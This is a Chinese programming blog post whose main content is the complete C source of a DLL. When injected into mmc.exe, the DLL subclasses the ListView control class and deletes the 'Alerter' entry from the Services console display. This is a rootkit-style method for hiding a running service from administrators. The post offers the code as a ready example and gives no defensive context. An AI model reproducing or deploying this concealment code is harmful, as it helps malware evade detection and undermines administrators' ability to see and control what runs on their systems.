Vanlin的BLOG

好好学习,天天向上

子类化隐藏Alerter服务的例子

子类化隐藏Alerter服务的例子

把dll注入mmc.exe,子类化其显示服务列表的listview32控件,隐藏Alerter服务,以下为dll全代码。
----------------------------------------------------------------------------------
#include "stdafx.h"

#define MAGIC_NUMBER    (0x100)
WNDPROC lpfnSupperClassProc=NULL;

__forceinline void HideItem(HWND hListCtrl,DWORD dwItemcount)
{
   LVITEM li={0};
   char text[50]={0};
   li.pszText=text;
   li.cchTextMax=50;
   
   for(DWORD i=0;i<dwItemcount;i++)
   {    
       // 取得每一条记录名称
       CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_GETITEMTEXT,i,(LPARAM)&li);
       // 如果是指定的记录,就删除
       if(StrStrI(li.pszText,_T("Alerter"))!=NULL)
           CallWindowProc(lpfnSupperClassProc,hListCtrl,LVM_DELETEITEM,i,0);
   }
}

LRESULT CALLBACK ListFilterProc(HWND hwnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
   DWORD dwItemcount=0;
   if(WM_PAINT==uMsg)
   {    
       // 取得ListView控件中记录条数
       dwItemcount=CallWindowProc(lpfnSupperClassProc,hwnd,LVM_GETITEMCOUNT,0,0);
       if(dwItemcount<MAGIC_NUMBER)
       {
           HideItem(hwnd,dwItemcount);
       }
   }
       
   return CallWindowProc(lpfnSupperClassProc,hwnd,uMsg,wParam,lParam);
}

__forceinline BOOL InstallListFilter()
{
   OutputDebugString(_T("InstallFilter/n"));
   
   BOOL bRet=FALSE;
   HWND hWnd=NULL;
   
   // 初始化自定义控制类
   INITCOMMONCONTROLSEX cls={sizeof(INITCOMMONCONTROLSEX),ICC_WIN95_CLASSES};
   bRet=InitCommonControlsEx(&cls);

   if(bRet)
   {
       hWnd=CreateWindow(_T("SysListView32"),_T(""),WS_CAPTION|LVS_REPORT,0,0,0,0,NULL,NULL,NULL,NULL);

       lpfnSupperClassProc=(WNDPROC)GetClassLong(hWnd,GCL_WNDPROC);
       SetClassLong(hWnd,GCL_WNDPROC,(LONG)ListFilterProc);
       
       DestroyWindow(hWnd);
   }
   
   return bRet;
}

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
   if(DLL_PROCESS_ATTACH==ul_reason_for_call)
       // DLL被加载时挂上过滤
       InstallListFilter();
   return TRUE;
}

阅读更多
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!
关闭
关闭